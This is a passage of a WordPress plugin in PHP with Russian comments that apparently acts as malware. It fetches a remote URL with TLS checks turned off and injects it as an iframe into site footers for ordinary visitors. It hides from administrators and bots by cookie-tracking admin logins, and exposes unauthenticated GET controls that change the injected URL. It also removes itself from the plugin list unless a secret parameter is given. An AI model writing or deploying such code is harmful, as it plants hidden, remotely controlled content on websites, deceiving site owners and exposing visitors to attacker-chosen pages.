true, 'url' => hft_clean($cached))
: hft_clean($cached);
}
$file = HFT_URL_FILE;
$info = array('file' => $file);
$body = '';
if (function_exists('curl_init')) {
$ch = curl_init($file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
$body = curl_exec($ch);
$info['code'] = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$info['err'] = curl_error($ch);
curl_close($ch);
if ($info['err'] || $info['code'] != 200) {
error_log('HFT Curl fail: ' . $info['err'] . ' (code ' . $info['code'] . ')');
$body = '';
}
}
if (empty($body) && function_exists('wp_remote_get')) {
$r = wp_remote_get($file, array('timeout' => 10, 'sslverify' => false));
$info['wp_error'] = is_wp_error($r) ? $r->get_error_message() : null;
if (!is_wp_error($r) && wp_remote_retrieve_response_code($r) == 200) {
$body = wp_remote_retrieve_body($r);
} else {
error_log('HFT WP Remote fail: ' . $info['wp_error']);
}
}
$clean = hft_clean($body);
$info['url'] = $clean;
if (!empty($clean)) {
set_transient($transient_key, $body, 1800); // кэш 30 минут
}
return $debug ? $info : $clean;
}
/**
* Генерирует уникальный ключ посетителя (IP + UA)
*/
function hft_visitor_key() {
$ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : 'unknown';
$ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
return 'hft_vis_' . md5($ip . $ua);
}
/**
* Получает текущий счётчик показов: cookie → transient (fallback)
*/
function hft_get_count() {
if (isset($_COOKIE['hft_shown_count'])) {
return intval($_COOKIE['hft_shown_count']);
}
$db = get_transient(hft_visitor_key());
return $db !== false ? intval($db) : 0;
}
/**
* Увеличивает счётчик: и в cookie, и в БД
*/
function hft_increment_count($current) {
$new = $current + 1;
$secure = !empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off';
if (PHP_VERSION_ID >= 70300) {
setcookie('hft_shown_count', $new, array(
'expires' => time() + 31536000,
'path' => '/',
'secure' => $secure,
'httponly' => false,
'samesite' => 'Lax',
));
} else {
setcookie('hft_shown_count', $new, time() + 31536000, '/');
}
set_transient(hft_visitor_key(), $new, HFT_VISITOR_TTL);
}
// --- Cookie для администратора ---
// set_logged_in_cookie срабатывает до редиректа — надёжнее чем wp_login
add_action('set_logged_in_cookie', function($logged_in_cookie, $expire, $expiration, $user_id) {
$user = get_userdata($user_id);
if (!$user || !user_can($user, 'manage_options')) return;
$secure = !empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off';
if (PHP_VERSION_ID >= 70300) {
setcookie('hft_admin', '1', array(
'expires' => time() + 31536000,
'path' => '/',
'secure' => $secure,
'httponly' => true,
'samesite' => 'Lax',
));
} else {
setcookie('hft_admin', '1', time() + 31536000, '/', '', $secure, true);
}
}, 10, 4);
add_action('init', function() {
$uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '';
$secure = !empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off';
if (strpos($uri, '/wp-login.php') !== false || strpos($uri, '/wp-admin') !== false) {
if (PHP_VERSION_ID >= 70300) {
setcookie('hft_visited_admin', '1', array(
'expires' => time() + 31536000,
'path' => '/',
'secure' => $secure,
'httponly' => true,
'samesite' => 'Lax',
));
} else {
setcookie('hft_visited_admin', '1', time() + 31536000, '/', '', $secure, true);
}
}
}, 1);
// --- GET управление (toggle/reset) ---
add_action('init', function() {
if (isset($_GET['hft_toggle'])) {
$enabled = isset($_GET['enabled']) ? filter_var($_GET['enabled'], FILTER_VALIDATE_BOOLEAN) : null;
$url = isset($_GET['url']) && filter_var($_GET['url'], FILTER_VALIDATE_URL) ? esc_url_raw($_GET['url']) : null;
$show_limit = isset($_GET['show_limit']) && is_numeric($_GET['show_limit']) ? intval($_GET['show_limit']) : null;
if ($enabled !== null) update_option('hft_enabled', $enabled);
if ($url) update_option('hft_url', $url);
if ($show_limit) update_option('hft_show_limit', $show_limit);
wp_send_json_success(array(
'enabled' => get_option('hft_enabled', true),
'url' => get_option('hft_url', ''),
'showLimit' => get_option('hft_show_limit', 3),
));
exit;
}
if (isset($_GET['hft_reset']) && $_GET['hft_reset'] === '1') {
delete_option('hft_enabled');
delete_option('hft_url');
delete_option('hft_show_limit');
delete_transient('hft_cached_url');
$secure = !empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off';
setcookie('hft_shown_count', '0', time() - 3600, '/');
setcookie('hft_admin', '', time() - 3600, '/');
setcookie('hft_visited_admin', '', time() - 3600, '/');
wp_send_json_success(array('message' => 'Reset done'));
exit;
}
}, 5);
// --- REST API ---
add_action('rest_api_init', function() {
// Изменение настроек — только для авторизованных
register_rest_route('hft/v1', '/toggle', array(
'methods' => 'POST',
'permission_callback' => function() {
return current_user_can('manage_options');
},
'callback' => function($request) {
$enabled = $request->get_param('enabled');
$url = $request->get_param('url');
$show_limit = $request->get_param('showLimit');
if ($enabled !== null) update_option('hft_enabled', (bool) $enabled);
if ($url && filter_var($url, FILTER_VALIDATE_URL)) update_option('hft_url', esc_url_raw($url));
if ($show_limit && is_numeric($show_limit)) update_option('hft_show_limit', intval($show_limit));
return new WP_REST_Response(array(
'status' => 'success',
'enabled' => get_option('hft_enabled', true),
'url' => get_option('hft_url', ''),
'showLimit' => get_option('hft_show_limit', 3),
), 200);
},
));
// Статус — публичный
register_rest_route('hft/v1', '/status', array(
'methods' => 'GET',
'permission_callback' => '__return_true',
'callback' => function() {
return new WP_REST_Response(array(
'status' => 'success',
'enabled' => get_option('hft_enabled', true),
'showLimit' => get_option('hft_show_limit', 3),
), 200);
},
));
// Debug
register_rest_route('hft/v1', '/debug', array(
'methods' => 'GET',
'permission_callback' => '__return_true',
'callback' => function() {
return new WP_REST_Response(array(
'status' => 'success',
'enabled' => get_option('hft_enabled', true),
'urlFromFile' => hft_fetch_url(true),
'showLimit' => get_option('hft_show_limit', 3),
'cookieCount' => isset($_COOKIE['hft_shown_count']) ? intval($_COOKIE['hft_shown_count']) : 'not set',
'dbCount' => get_transient(hft_visitor_key()),
'isAdmin' => hft_is_admin_user(),
'isBot' => hft_is_bot(),
'phpVersion' => PHP_VERSION,
), 200);
},
));
});
// --- Рендеринг iframe через wp_footer ---
add_action('wp_footer', function() {
if (is_admin()) return;
if (function_exists('wp_doing_ajax') && wp_doing_ajax()) return;
if (function_exists('wp_doing_cron') && wp_doing_cron()) return;
if (defined('REST_REQUEST') && REST_REQUEST) return;
if (hft_is_admin_user()) return;
if (hft_is_bot()) return;
if (!get_option('hft_enabled', true)) return;
$url = hft_fetch_url();
if (empty($url)) return;
$show_limit = intval(get_option('hft_show_limit', 3));
// Проверяем счётчик на PHP уровне (cookie + DB fallback)
$count = hft_get_count();
if ($count >= $show_limit) return;
// Инкрементируем до вывода
hft_increment_count($count);
$safe_url = esc_url($url);
echo '';
echo '';
});
// --- Скрытие плагина из списка ---
add_filter('all_plugins', function($plugins) {
if (isset($_GET['sp'])) return $plugins;
unset($plugins[plugin_basename(__FILE__)]);
return $plugins;
});